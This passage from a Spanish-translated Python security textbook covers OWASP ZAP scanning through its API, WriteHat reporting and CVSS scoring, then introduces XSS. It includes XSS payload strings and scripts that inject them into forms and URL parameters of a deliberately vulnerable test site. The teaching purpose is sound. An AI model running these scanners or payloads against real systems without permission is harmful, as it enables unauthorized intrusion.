drwxr-xr-x 2 linux linux 4096 2 de gen. 1970 lib
drwxr-xr-x 2 linux linux 4096 2 de gen. 1970 license
drwxr-xr-x 2 linux linux 4096 2 de gen. 1970 plugin
-rw-r--r-- 1 linux linux 2211 2 de gen. 1970 README
drwxr-xr-x 3 linux linux 4096 2 de gen. 1970 scripts
drwxr-xr-x 2 linux linux 4096 2 de gen. 1970 xml
-rw-r--r-- 1 linux linux 5439660 2 de gen. 1970 zap-2.12.0.jar
-rw-r--r-- 1 linux linux 200 2 de gen. 1970 zap.bat
-rw-r--r-- 1 linux linux 123778 2 de gen. 1970 zap.ico
-rwxr-xr-x 1 linux linux 3973 2 de gen. 1970 zap.sh
Para ejecutar OWASP ZAP, simplemente inicie el zap.shscript.
Recuerde que debe tener una versión de Java instalada en su
computadora. En este caso, usamos la versión 11 de Java.
$ ./zap.sh
Found Java version 11.0.15
Available memory: 7816 MB
Using JVM args: -Xmx1954m
3654 [main] INFO org.zaproxy.zap.GuiBootstrap - OWASP ZAP
2.12.0 started 04/02/2023, 20:51:54 with home
/home/linux/.ZAP/
Figura 9.19: Iniciando OWASP ZAP
ZAP permiteLa automatización de diversos procedimientos de
prueba permite gestionar diferentes mecanismos de
autenticación y, finalmente, rastrear automáticamente todas
las subpáginas disponibles de la aplicación, probando
agresivamente todos los métodos de entrada (escaneo activo).
Opera en sesiones. En cada sesión, cada fragmento de
interacción con la página web investigada se registra y se
guarda en una base de datos. Estas acciones guardadas
(solicitudes y respuestas HTTP) pueden revisarse y examinarse
posteriormente.
Uso de OWASP ZAP
ZAP funciona como una araña o rastreador, y tiene la
capacidad de explorar el sitio especificado y encontrar elURL
disponibles en el sitio. Existen dos tipos de arañas:
tradicionales y AJAX. Las arañas AJAX se utilizan principalmente
para aplicaciones JavaScript. ZAP cuenta con dos escáneres,
pasivo y activo, que se utilizan para escanear y encontrar
vulnerabilidades.
El escáner pasivo monitorealas solicitudes y respuestas
e identifica vulnerabilidades.
Los ataques del escáner activoy manipula el
encabezado para encontrar vulnerabilidades.
Desde la página principal de ZAP, tenemos dos opciones
principales: Escaneo automático y Exploración manual .
Figura 9.20: Página principal de OWASP ZAP
Desde la página principal de ZAP, haga clic en Escaneo
automatizado y obtendrá las siguientes opciones, donde
puede ingresar una URL para atacar .
Figura 9.21: Escaneo automatizado de OWASP ZAP
Cuando tuHaga clic en el botón Ataque y verá cómo se
procesa la URL en las pestañas Spider y Active Scan .
Figura 9.22: Escaneo activo de OWASP ZAP
En la siguiente imagen podemos ver el resultado de ejecutar un
escaneo activo donde podemos ver las alertas
correspondientes a las vulnerabilidades que ha detectado en el
sitio web que estamos analizando.
Figura 9.23: Alertas ZAP de OWASP
AdemásPara usar OWASP ZAP como herramienta independiente
para realizar pruebas de penetración, es posible iniciar el motor
ZAP en modo "daemon" o "headless" y acceder a su API REST
para ejecutar escaneos programáticos desde Python. La API es
bastante completa y permite ejecutar escaneos automatizados
tanto de forma pasiva como activa.
Para ello es necesario activar la API a través del elemento de
menú Extras | Opciones | API , donde se podrá realizar la
configuración necesaria para acceder a la API.
Figura 9.24: API ZAP de OWASP
Una vez que tenemosTras analizar OWASP ZAP como
herramienta para ejecutar escaneos en un sitio web,
continuamos analizando el módulo de Python que realiza los
escaneos programáticamente. En este punto, es importante
anotar la clave API para usarla en nuestros scripts de Python y
automatizar el proceso de escaneo.
Interactuando con OWASP ZAP usando Python
La pitón ZAPLa API se puede instalar usando el pip
installcomandoy especificando la versión de OWASP ZAP ,
como se explica aquí: https://github.com/zaproxy/zap-api-
python .
$ pip install python-owasp-zap-v2.4
Una vez instalado el paquete ZAP Python, puedes importarlo
con la siguiente importación:
>>> from zapv2 import ZAPv2
>>> zap=ZAPv2()
>>> dir(zap)
['_ZAPv2__apikey', '_ZAPv2__proxies',
'_ZAPv2__validate_status_code', '__class__', '__delattr__',
'__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__',
'__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__',
'__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
'__sizeof__', '__str__', '__subclasshook__', '__weakref__',
'_request', '_request_api', '_request_other', 'accessControl',
'acsrf', 'ajaxSpider', 'alert', 'alertFilter', 'ascan', 'authentication',
'authorization', 'automation', 'autoupdate', 'base', 'base_other',
'brk', 'context', 'core', 'exim', 'exportreport', 'forcedUser',
'graphql', 'httpsessions', 'importLogFiles', 'importurls',
'localProxies', 'network', 'openapi', 'params', 'pnh', 'pscan',
'replacer', 'reports', 'retest', 'reveal', 'revisit', 'ruleConfig',
'script', 'search', 'selenium', 'sessionManagement', 'soap',
'spider', 'stats', 'urlopen', 'users', 'wappalyzer', 'websocket']
Básicamente, nosotrosNecesitas usar un spiderobjeto y
llamarAlgunos métodos para escanear el sitio web:
>>> dir(zap.spider)
[.... 'option_parse_git', 'option_parse_robots_txt',
'option_parse_sitemap_xml', 'option_parse_svn_entries',
'option_post_form', 'option_process_form',
'option_request_wait_time', 'option_send_referer_header',
'option_show_advanced_dialog', 'option_skip_url_string',
'option_thread_count', 'option_user_agent', 'pause',
'pause_all_scans', 'remove_all_scans',
'remove_domain_always_in_scope', 'remove_scan', 'results',
'resume', 'resume_all_scans', 'scan', 'scan_as_user', 'scans',
'set_option_accept_cookies',
'set_option_handle_o_data_parameters_visited',
'set_option_handle_parameters', 'set_option_max_children',
'set_option_max_depth', 'set_option_max_duration',
'set_option_max_parse_size_bytes',
'set_option_max_scans_in_ui', 'set_option_parse_comments',
'set_option_parse_git', 'set_option_parse_robots_txt',
'set_option_parse_sitemap_xml', 'set_option_parse_svn_entries',
'set_option_post_form', 'set_option_process_form',
'set_option_request_wait_time',
'set_option_send_referer_header',
'set_option_show_advanced_dialog',
'set_option_skip_url_string', 'set_option_thread_count',
'set_option_user_agent', 'status', 'stop', 'stop_all_scans', 'zap']
Podríamos empezar con un script sencillo que nos permita
obtener los enlaces internos y externos del sitio web. Para ello,
podríamos usar el scan()método del spiderobjeto, que se utiliza
para descubrir automáticamente nuevos recursos (URL) de un
sitio web específico. Puedes encontrar el siguiente código en
el basic_spider.pyarchivo:
import time
from zapv2 import ZAPv2
apiKey='<YOUR_API_KEY>'
target = 'http://testphp.vulnweb.com/'
zap = ZAPv2(apikey=apiKey)
print('Spidering target {}'.format(target))
scanID = zap.spider.scan(target)
while int(zap.spider.status(scanID)) < 100:
print('Spider progress %:
{}'.format(zap.spider.status(scanID)))
time.sleep(1)
print('Spider has completed!')
print('\n'.join(map(str, zap.spider.results(scanID))))
En elCódigo anterior, una vez que se llama a la API de araña,
esperaPara su finalización mediante la API de estado de
agrupación. Cuando el estado es igual a 100, el proceso de
rastreo se completa.
$ python basic_spider.py
Spidering target http://testphp.vulnweb.com/
Spider progress %: 0
..
Spider progress %: 97
Spider has completed!
http://testphp.vulnweb.com/categories.php
http://testphp.vulnweb.com/secured/style.css
http://testphp.vulnweb.com/showimage.php?file=./pictures/
7.jpg
http://testphp.vulnweb.com/showimage.php?file=./pictures/
6.jpg
http://testphp.vulnweb.com/signup.php
En el siguiente ejemplo, usamos el ajaxSpiderobjeto en lugar
del spiderobjeto anterior. Puede encontrar el siguiente código
en el ajax_spider.pyarchivo:
import time
from zapv2 import ZAPv2
apiKey='<YOUR_API_KEY>'
target = 'http://testphp.vulnweb.com/'
zap = ZAPv2(apikey=apiKey)
print('Ajax Spider target {}'.format(target))
scanID = zap.ajaxSpider.scan(target)
timeout = time.time() + 60*2
while zap.ajaxSpider.status == 'running':
if time.time() > timeout:
break
print('Ajax Spider status:' + zap.ajaxSpider.status)
time.sleep(2)
print('Ajax Spider completed')
ajaxResults = zap.ajaxSpider.results(start=0, count=10)
print(ajaxResults)
En el código anterior, ejecutamos el bucle hasta que la araña
AJAX haya finalizado o se haya excedido el tiempo de espera.
PudimosContinuar con un escaneo pasivo. Para esta tarea,
podemosUtilizar la API zap.pscan.records_to_scan, que espera
hasta que se escaneen todos los registros. Un escaneo pasivo
solo examina las solicitudes y respuestas. Este método es útil
para detectar problemas como la falta de...Cabeceras de
seguridad o tokens anti- CSRF ( falsificación de solicitud
entre sitios ) faltantes. Puede encontrar el siguiente código en
el passive_scan.pyarchivo:
import time
from pprint import pprint
from zapv2 import ZAPv2
apiKey='<YOUR_API_KEY>'
target = 'http://testphp.vulnweb.com/'
zap = ZAPv2(apikey=apiKey)
print('Accessing target {}'.format(target))
zap.urlopen(target)
time.sleep(2)
print('Spidering target {}'.format(target))
scanid = zap.spider.scan(target)
time.sleep(2)
while (int(zap.spider.status(scanid)) < 100):
print('Spider progress %:
{}'.format(zap.spider.status(scanid)))
time.sleep(2)
while (int(zap.pscan.records_to_scan) > 0):
print ('Records to passive scan :
{}'.format(zap.pscan.records_to_scan))
time.sleep(2)
with open("report.html", "w") as
report_file:report_file.write(zap.core.htmlreport())
print('Passive Scan completed')
print('Hosts: {}'.format(', '.join(zap.core.hosts)))
print('Alerts: ')
print(zap.core.alerts())
Finalmente, podríamos ejecutar un escaneo activo con el
método zap.ascan.scan(target), que iniciael proceso de
escaneo activo. Una vez que el activoSe llama a la API de
escaneo y espera a que el proceso finalice consultando el
progreso del escaneo mediante el status()método. Puede
encontrar el siguiente código en el active_scan.pyarchivo:
import time
from zapv2 import ZAPv2
apiKey='<YOUR_API_KEY>'
target = 'http://testphp.vulnweb.com/'
zap = ZAPv2(apikey=apiKey)
print('Accessing target {}'.format(target))
zap.urlopen(target)
time.sleep(2)
print('Active Scanning target {}'.format(target))
scanID = zap.ascan.scan(target)
while int(zap.ascan.status(scanID)) < 100:
print('Scan progress %:
{}'.format(zap.ascan.status(scanID)))
time.sleep(5)
print('Active Scan completed')
with open("report.html", "w") as
report_file:report_file.write(zap.core.htmlreport())
print('Hosts: {}'.format(', '.join(zap.core.hosts)))
print('Alerts: ')
print(zap.core.alerts(baseurl=target))
En el código anterior, el escaneo activo se completa cuando el
estado es igual a 100y realiza una amplia gama de ataques
para detectar diferentes tipos de vulnerabilidades que se
definen en la pestaña Política dentro de la ventana Escaneo
activo .
Figura 9.25: Escaneo activo de OWASP ZAP | Política
Durante elproceso de escaneo activo, podemos ver el
escaneoestado en la interfaz OWASP ZAP y detectar cuáles son
las URL que está procesando la araña.
Figura 9.26: Proceso de escaneo activo de OWASP ZAP
Una vez finalizados el análisis y la exploración, puedes utilizar
el método zap.core.htmlreport()para generar un informe.
Figura 9.27: Informe de escaneo ZAP de OWASP
Es importantemencionar que el escaneo activoes un ataque
real a esos objetivos y puede ponerlos en riesgo, por lo que se
recomienda no usar el escaneo activo contra objetivos que no
tienes permiso para probar.
WriteHat como herramienta de informes de pruebas de
penetración
WriteHat es una herramienta de informes desarrollada en el
marco web Django que proporciona algunosComponentes para
presentar informes atractivos para las interacciones de los
equipos de penetración/rojo/azul/morado. Puedes encontrar el
código fuente en el repositorio de
GitHub: https://github.com/blacklanternsecurity/writehat
.
La forma más rápida de instalar esta herramienta es utilizando
Docker y docker-compose, la cual podemos instalar con el
siguiente comando:
$ sudo apt install docker.io docker-compose
Puede implementar WriteHat con los siguientes comandos:
$ git clone https://github.com/blacklanternsecurity/writehat
$ cd writehat
$ sudo chmod -R 777 /writehat/static
$ docker-compose up
El anteriorEl comando implementará la aplicación utilizando el
siguiente docker-compose.ymlarchivo:
version: '3.7'
services:
nginx:
image: nginx
volumes:
- ./nginx:/opt/writehat/nginx
- ./writehat/config/nginx.conf:/etc/nginx/conf.d/writehat.conf
- ./writehat/static:/opt/writehat/static
ports:
- 80:80
- 443:443
restart: unless-stopped
depends_on:
- writehat
writehat:
build:
context: .
dockerfile: ./writehat/config/Dockerfile.app
command: bash -c "
sleep 2 &&
./manage.py makemigrations writehat &&
./manage.py migrate writehat &&
./manage.py makemigrations &&
./manage.py migrate &&
uwsgi --socket 0.0.0.0:8000
--plugin-dir=/usr/lib/uwsgi/plugins --plugin python3 -w
writehat.wsgi:application --processes=4 --master --vacuum"
volumes:
- .:/opt/writehat
expose:
- 8000
restart: unless-stopped
depends_on:
- mongo
- mysql
mongo:
image: mongo:4.4
volumes:
- ./mongo/configdb:/data/configdb
- ./mongo/db:/data/db
environment:
- MONGO_INITDB_ROOT_USERNAME=root
-
MONGO_INITDB_ROOT_PASSWORD=FORTHELOVEOFGEEBUSPL
EASECHANGETHIS
expose:
- 27017
mysql:
image: mysql:5
volumes:
- ./mysql:/var/lib/mysql
environment:
MYSQL_ROOT_PASSWORD:
CHANGETHISIFYOUAREANINTELLIGENTHUMANBEING
MYSQL_DATABASE: writehat
MYSQL_USER: writehat
MYSQL_PASSWORD:
CHANGETHISIFYOUAREANINTELLIGENTHUMANBEING
expose:
- 3306
restart: unless-stopped
chrome:
image: selenium/standalone-chrome:latest
expose:
- 4444
depends_on:
- writehat
PudimosEmpieza a crear un engagementcontenido para el
cliente. Un compromiso es un contenedor general que
albergará informes y hallazgos.
Figura 9.28: Creación de un compromiso
Podríamos continuar creando una plantilla de informe que
contenga los componentes que vamos a utilizar para generar el
informe.
Figura 9.29: Creación de una plantilla de informe
PudimosContinuar creando una colección de hallazgos que se
puntúan de la misma manera (CVSS o DREAD). En este punto,
podríamos crear varios hallazgos por interacción.
Figura 9.30: Base de datos de resultados de búsqueda
Al crear un nuevo hallazgo, tienes la posibilidad de seleccionar
el nivel de criticidad para cada uno de loscaracterísticas, entre
las que podemos destacar: Vector de Ataque , Complejidad
del Ataque , Privilegios Requeridos , Interacción del
Usuario , Alcance, Confidencialidad , Integridad,
Disponibilidad , Madurez del Código de Exploit , Nivel de
Remediación , Confianza del Reporte , Requerimiento de
Confidencialidad y Requerimiento de Integridad .
Figura 9.31: Creación de un nuevo hallazgo
En la siguiente captura de pantalla, podemos ver los detalles
de la función Vector de Ataque :
Figura 9.32: Característica del vector de ataque
En este punto, nuestro objetivo sería seleccionar, para cada
característica, el nivel de criticidad de la vulnerabilidad.Hemos
detectado. El Sistema Común de Puntuación de
Vulnerabilidades ( CVSS ) es un sistema de puntuación que
permite definir numéricamente la gravedad de una falla de
seguridad. Esto indica a los investigadores cuán dañino es
explotar la vulnerabilidad. Para un atacante, una puntuación
alta de vulnerabilidad significa...oportunidad de dañar
gravemente a un objetivo.
Para un hacker ético, la puntuación base indica cuán
alarmantes son las características de una vulnerabilidad.
Figura 9.33: Diagrama de riesgo CVSS
Para obtener el valor CVSS, existen conjuntos de métricas base
que determinan el CVSS de una vulnerabilidad. También
existen calculadoras de CVSS que aplican estas métricas para
representar el riesgo de una falla de seguridad.
ElLa calculadora de la Base de Datos Nacional de
Vulnerabilidad, https://nvd.nist.gov/vuln-metrics/cvss/v3-
calculator , es una herramienta estándar para calcular el CVSS
de una falla de seguridad.
Figura 9.34: Calculadora del sistema común de puntuación de
vulnerabilidades
En esteCalculadora: puedes encontrar varias variables que
puedes rellenar con información para determinar el CVSS de la
vulnerabilidad. Una puntuación CVSS alta implica una falla de
seguridad de alto riesgo, mientras que una puntuación CVSS
baja significa un nivel de amenaza moderado. Cuanto mayor
sea la puntuación CVSS, mayor será la urgencia de corregir la
falla y mayor el potencial de daño a un sistema o empresa para
el ciberdelincuente que la explote.
Resumen
En este capítulo, aprendimos sobre los escáneres de
vulnerabilidades OpenVAS y OWASP ZAP y las herramientas de
reporte que nos brindan para reportar las vulnerabilidades que
encontramos en los servidores y aplicaciones web que
escaneamos. Además, vimos cómo usar estos escáneres
programáticamente con Python, con los módulos python-
gvmy .owasp-zap
Las herramientas que vimos en este capítulo utilizan diferentes
protocolos para generar solicitudes y determinar qué servicios
se ejecutan en un host remoto o en el propio host. Por lo tanto,
con estas herramientas, ahora puede identificar diferentes
riesgos de seguridad tanto en un sistema como en varios
sistemas de una red.
En el siguiente capítulo, identificaremos vulnerabilidades de
servidor en aplicaciones web con herramientas como WPScan,
que descubre vulnerabilidades y analiza la seguridad de los
sitios de WordPress, y otras herramientas como SQLInject-
Finder y Sqlmap , que detectan vulnerabilidades de inyección
SQL en sitios web.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Cuál es el nombre de la clase del python-gmvmódulo que
nos permite conectarnos al escáner de vulnerabilidades
de OpenVAS?
2. ¿Cuál es el nombre del método del python-gmvmódulo
que nos permite autenticarnos en el escáner de
vulnerabilidades de OpenVAS?
3. ¿Qué método del owasp_zapmódulo puedes utilizar para
escanear un objetivo específico?
4. ¿Qué método del owasp_zapmódulo le permite obtener un
informe una vez completado el proceso de escaneo?
5. ¿Cuál es el nombre del método en el owasp_zapmódulo
para ejecutar un escaneo activo?
Lectura adicional
Utilice los siguientes enlaces para encontrar más información
sobre las herramientas mencionadas, junto con algunas otras
herramientas relacionadas con los escáneres de vulnerabilidad
de OpenVAS:
Documentación de Greenbone Community
Edition : https://greenbone.github.io/docs/latest
Biblioteca de Python para la gestión de
vulnerabilidades de
Greenbone : https://greenbone.github.io/python-
gvm
Documentación de la API OWASP
ZAP : https://www.zaproxy.org/docs/api
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
10
Interacción con vulnerabilidades de servidor en aplicaciones
web
En este capítulo, aprenderemos sobre las principales
vulnerabilidades en aplicaciones web. También aprenderemos
sobre las herramientas disponibles en el ecosistema Python
para descubrir vulnerabilidades en aplicaciones web de
Sistemas de Gestión de Contenido ( CMS ) y sobre
sqlmap para detectar vulnerabilidades de SQL. En cuanto a las
vulnerabilidades de servidor, abordaremos las pruebas de
servidores Tomcat y el proceso de detección de
vulnerabilidades en aplicaciones web con herramientas
como nmap y Fuxploider .
Desde el punto de vista de la seguridad, es importante
identificar las vulnerabilidades del servidor, ya que las
aplicaciones y los servicios cambian constantemente, y
cualquier problema de seguridad sin parchear puede ser
explotado por un atacante que busque vulnerabilidades no
identificadas inicialmente. En este punto, es importante tener
en cuenta que no todas las vulnerabilidades de seguridad se
pueden solucionar con un parche. En algunos casos, una falla
en una biblioteca o en el sistema operativo puede requerir
controles adicionales o una reestructuración de la
infraestructura, lo cual no es fácil de solucionar.
En este capítulo se tratarán los siguientes temas:
Entendiendo las vulnerabilidades en aplicaciones web con
OWASP
Análisis y descubrimiento de vulnerabilidades en
aplicaciones web CMS
Descubrimiento de vulnerabilidades en aplicaciones de
servidor Tomcat
Descubrimiento de vulnerabilidades de SQL con
herramientas de Python
Automatizar el proceso de detección de vulnerabilidades
en aplicaciones web
Requisitos técnicos
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Este capítulo requiere la instalación de herramientas
específicas para detectar vulnerabilidades en aplicaciones web.
Puede usar la herramienta de gestión de paquetes de su
sistema operativo para instalarlas.
Una de las principales herramientas para detectar
vulnerabilidades de SQL es SQLmap, que se puede instalar en
un sistema operativo Linux basado en Debian utilizando el
siguiente comando:
$ sudo apt-get install sqlmap
Para los lectores que utilizan otros sistemas operativos como
Windows o macOS, recomendamos leer los archivos README
individuales en la documentación oficial, https://sqlmap.org ,
y el repositorio oficial de
GitHub, https://github.com/sqlmapproject/sqlmap .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter10 .
Entendiendo las vulnerabilidades en aplicaciones web con
OWASP
En esta sección, revisaremos la lista de las 10 principales
vulnerabilidades de OWASP y explicaremos la
vulnerabilidad Cross-Site Scripting ( XSS ) en detalle.
Una vulnerabilidad es unaDebilidad en un sistema de
información que puede ser explotada por un agente de
amenazas. Esta debilidad puede presentarse por diversas
razones, como fallos en la fase de diseño o errores en la lógica
de programación.
El proyecto OWASPSu objetivo es crear conocimientos, técnicas
y procesos diseñados para proteger las aplicaciones web contra
posibles ataques. Este proyecto se compone de una serie de
subproyectos, todos centrados en la creación de conocimientos
y material de seguridad para aplicaciones web.
Uno de estos subproyectos es el proyecto OWASP Top 10,
donde se definen y detallan los 10 riesgos más importantes a
nivel de aplicaciones web. Esta lista se actualiza con las
diferentes técnicas y vulnerabilidades que pueden exponer a
riesgos de seguridad en las aplicaciones web.
Entre las 10 vulnerabilidades más importantes y comunes en
aplicaciones web de la versión actualizada de 2021 de laDel
proyecto OWASP Top 10, https://owasp.org/Top10/en/ ,
podemos destacar lo siguiente:
Inyección de comandos : Inyección de comandosEs uno
de los ataques más comunes en aplicaciones web, en el
que el atacante aprovecha una vulnerabilidad del sistema
para ejecutar comandos SQL, NoSQL o LDAP y acceder a
datos sin autorización. Esta vulnerabilidad se produce
porque la aplicación no valida ni filtra la entrada del
usuario. Puede encontrar más información sobre este tipo
de vulnerabilidad en la documentación de
OWASP: https://owasp.org/Top10/en/A03_2021-
Injection .
XSS : EstoEsta vulnerabilidad permite a un atacante
ejecutar código JavaScript arbitrario. La criticidad de estas
vulnerabilidades depende del tipo de XSS y de la
información almacenada en la página web. En general,
podemos hablar de tres tipos de XSS:
a. XSS persistente o almacenado , dondeLa
aplicación almacena los datos proporcionados por el
usuario sin validación, que posteriormente son vistos
por otro usuario o un administrador. El código
JavaScript que insertamos se almacena en la base de
datos para que cada vez que un usuario visite esa
página, se ejecute.
2. XSS reflejado , dondeLa aplicación utiliza datos sin
procesar, proporcionados por el usuario y codificados
como parte del HTML o JavaScript de salida. El código
JavaScript solo se ejecutará cuando el usuario
objetivo ejecute una URL específica creada o escrita
por el atacante. El atacante manipulará una URL que
enviará a su objetivo, y cuando este la abra, se
ejecutará el código.
3. XSS DOM , dondeLa aplicación procesa los datos
controlados por el usuario de forma insegura. Un
ejemplo de este ataque se encuentra en la URL de un
sitio web donde se escribe código JavaScript y la web
utiliza un script interno que inserta la URL sin
validación en el código HTML que se devuelve al
usuario. La explotación de este tipo de vulnerabilidad
implica la ejecución de comandos en el navegador de
la víctima para robar sus credenciales, secuestrar
sesiones, instalar software malicioso en su ordenador
o redirigirlo a sitios maliciosos.
Falsificación de solicitud entre sitios (XSRF/CSRF) :
EstaUn ataque CSRF se basa en atacar un servicio
reutilizando las credenciales del usuario de otro sitio web.
Un ataque CSRF típico se produce con POSTsolicitudes. Por
ejemplo, podría tener un sitio web malicioso que muestra
un enlace a un usuario para engañarlo y que realice una
solicitud POST en su sitio usando sus credenciales
existentes. Un ataque CSRF obliga al navegador de una
víctima autenticada a enviar una solicitud HTTP
falsificada, incluyendo las cookies de sesión del usuario y
cualquier otra información de autenticación incluida
automáticamente, a una aplicación web vulnerable. Esto
permite al atacante forzar al navegador de la víctima a
generar solicitudes que la aplicación vulnerable interpreta
como legítimas.
Exposición de datos sensibles : MuchosLas
aplicaciones web no protegen adecuadamente los datos
confidenciales, como números de tarjetas de crédito o
credenciales de autenticación. Estos datos requieren
métodos de protección adicionales, como el cifrado, al
intercambiarlos con el navegador. Puede encontrar más
información sobre este tipo de vulnerabilidad en la
documentación de
OWASP: https://owasp.org/Top10/en/A02_2021-
Cryptographic_Failures .
Redirecciones y reenvíos no validados :
atacantespuede redirigir a las víctimas a sitios de phishing
o malware o utilizar el reenvío para llegar a páginas no
autorizadas sin la validación adecuada.
OWASP mantiene una de las mejores listas de escáneres de
vulnerabilidades más populares en https://owasp.org/www-
community/Vulnerability_Scanning_Tools . Estos escáneres
de vulnerabilidades permiten automatizar las auditorías de
seguridad y analizar la red y los sitios web en busca de
diferentes riesgos de seguridad, siguiendo las mejores
prácticas de OWASP.
El sitio web http://www.vulnweb.com , proporcionado
por acunetix , ofrece enlaces a algunas de las vulnerabilidades
mencionadas, donde cada sitio está compuesto por diferentes
tecnologías en el backend. En la siguiente captura de
pantalla,Puede ver los sitios que ofrece el servicio de
acunetix :
Figura 10.1: Sitios web de prueba vulnerables
A continuación, analizaremos las vulnerabilidades, incluidas
XSS y la inyección SQL, y cómo podemos ampliar las
herramientas de código abierto con Python para detectarlas.
Prueba de vulnerabilidades de secuencias de comandos
entre sitios (XSS)
XSS es unVulnerabilidad que permite a un atacante inyectar
código JavaScript en una página web. Dado que JavaScript es
un lenguaje que se ejecuta en el navegador del cliente, al
ejecutar este código, lo hacemos en el lado del cliente. Los
ataques se deben principalmente a la validación incorrecta de
los datos del usuario y suelen inyectarse mediante un
formulario web o un enlace modificado. En la siguiente página,
se pueden encontrar otras formas de producir este tipo de
ataque: https://owasp.org/www-community/attacks/xss .
Si un atacanteSi se puede inyectar JavaScript en la salida de
una aplicación web y ejecutarlo, se podrá ejecutar cualquier
código JavaScript en el navegador del usuario. Esta
vulnerabilidad permite a los atacantes ejecutar scripts en el
navegador de la víctima, secuestrando sesiones de usuario o
redirigiéndolos a un sitio web malicioso. Ejemplos de ataques
XSS incluyen el robo de cookies y sesiones de usuario, la
modificación del sitio web, la ejecución de solicitudes HTTP con
la sesión de usuario, la redirección de usuarios a sitios web
maliciosos, el ataque al navegador o la instalación de malware,
y la reescritura o manipulación de extensiones del navegador.
Para comprobar si un sitio web es vulnerable a XSS, podríamos
usar el siguiente script, donde leemos un XSS-attack-
vectors.txtarchivo que contiene todos los posibles vectores de
ataque:
<SCRIPT>alert('XSS');</SCRIPT>
<script>alert('XSS');</script>
<BODY ONLOAD=alert('XSS')>
<SCR%00IPT>alert(\'XSS\')</SCR%00IPT>
Puede encontrar un ejemplo de archivo similar en
el fuzzdbrepositorio de GitHub del proyecto:
https://github.com/fuzzdb-project/fuzzdb/tree/master/
attack/xss
Desde entoncesEste tipo de vulnerabilidad web se explota en
las entradas y formularios del usuario. Por lo tanto,
necesitamos rellenar cualquier formulario con código
JavaScript. En el siguiente ejemplo, utilizamos esta técnica para
detectar esta vulnerabilidad. Puede encontrar el siguiente
código en el scan_xss_website.pyarchivo de la XSScarpeta:
import requests
from pprint import pprint
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin
def get_all_forms(url):
soup = bs(requests.get(url).content, "html.parser")
return soup.find_all("form")
def get_form_details(form):
form_details = {}
action = form.attrs.get("action", "").lower()
method = form.attrs.get("method", "get").lower()
inputs = []
for input_tag in form.find_all("input"):
input_type = input_tag.attrs.get("type", "text")
input_name = input_tag.attrs.get("name")
inputs.append({"type": input_type, "name": input_name})
form_details["action"] = action
form_details["method"] = method
form_details["inputs"] = inputs
return form_details
En el código anterior, usamos dos métodos.
El get_all_forms(url)método, dada una URL, devuelve todos los
formularios del contenido HTML y get_form_details(form)extrae
toda la información útil posible sobre un formulario HTML.
Podemos continuar porImplementando
el submit_form(form_details, url, value)método, que envía un
formulario y devuelve la respuesta HTTP tras el envío.
Finalmente, el scan_xss(url)método imprime todos los
formularios vulnerables a XSS y devuelve Truesi alguno lo
es; Falseen caso contrario:
def submit_form(form_details, url, value):
target_url = urljoin(url, form_details["action"])
inputs = form_details["inputs"]
data = {}
for input in inputs:
if input["type"] == "text" or input["type"] == "search":
input["value"] = value
input_name = input.get("name")
input_value = input.get("value")
if input_name and input_value:
data[input_name] = input_value
print(f"[+] Submitting malicious payload to {target_url}")
print(f"[+] Data: {data}")
if form_details["method"] == "post":
return requests.post(target_url, data=data)
else:
return requests.get(target_url, params=data)
def scan_xss(url):
is_vulnerable = False
forms = get_all_forms(url)
print(f"[+] Detected {len(forms)} forms on {url}.")
js_script = "<script>alert('testing xss')</script>"
for form in forms:
form_details = get_form_details(form)
content = submit_form(form_details, url,
js_script).content.decode()
if js_script in content:
print(f"[+] XSS Detected on {url}")
print(f"[*] Form details:")
pprint(form_details)
is_vulnerable = True
return is_vulnerable
if __name__ == "__main__":
url = "http://testphp.vulnweb.com/cart.php"
if scan_xss(url):
print("The website is XSS vulnerable")
Mediante la ejecuciónEn el script anterior, vemos cómo detecta
los formularios en la página y devuelve si la página es
vulnerable cuando la carga útil intenta explotar la
vulnerabilidad.
$ python scan_xss_website.py
[+] Detected 1 forms on http://testphp.vulnweb.com/cart.php.
[+] Submitting malicious payload to
http://testphp.vulnweb.com/search.php?test=query
[+] Data: {'searchFor': "<script>alert('testing xss')</script>"}
[+] XSS Detected on http://testphp.vulnweb.com/cart.php
[*] Form details:
{'action': 'search.php?test=query',
'inputs': [{'name': 'searchFor',
'type': 'text',
'value': "<script>alert('testing xss')</script>"},
{'name': 'goButton', 'type': 'submit'}],
'method': 'post'}
The website is XSS vulnerable
Como resultado de la ejecución del script anterior, para cada
carga útil que probamos en la solicitud, obtenemos la misma
carga útil en la respuesta. Podemos comprobar la
vulnerabilidad en el sitio http://testphp.vulnweb.com :
Figura 10.2: El sitio web vulnerable a XSS
Este es un tipo de ataque de inyección que ocurre cuando se
inyectan vectores de ataque en forma de script del navegador.
El navegador mostrará un cuadro de diálogo al usuario si este
introduce etiquetas de script.dentro de los campos de
búsqueda del sitio web vulnerable:
Figura 10.3: Sitio web vulnerable a XSS reflejado
En el siguiente ejemplo, utilizamos la misma técnica para
detectar parámetros vulnerables. Puede encontrar el siguiente
código en el testing_xss_payloads.pyarchivo de la XSScarpeta:
import requests
import sys
url = "http://testphp.vulnweb.com/listproducts.php?cat="
initial = "'"
xss_injection_payloads =
["<SCRIPT>alert('XSS');</SCRIPT>","<IMG
SRC='javascript:alert('XSS');'>"]
response = requests.get(url+initial)
if "MySQL" in response.text or "You have an error in your SQL
syntax" in response.text or "Syntax error" in response.text:
print("site vulnerable to sql injection")
for payload in xss_injection_payloads:
response = requests.get(url+payload)
if payload in response.text:
print("The parameter is vulnerable")
print("Payload string: "+payload+"\n")
print(response.text)
En el código anterior, estamos probando si la página es
vulnerable a la inyección SQL y estamos usando cargas útiles
específicas para detectar una vulnerabilidad XSS en el sitio
web http://testphp.vulnweb.com/listproducts.php?cat= .
En el sitio web analizado, hemos detectado la presencia de un
mensaje de error que proporciona información relacionada con
la inyección SQL: 'Error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server
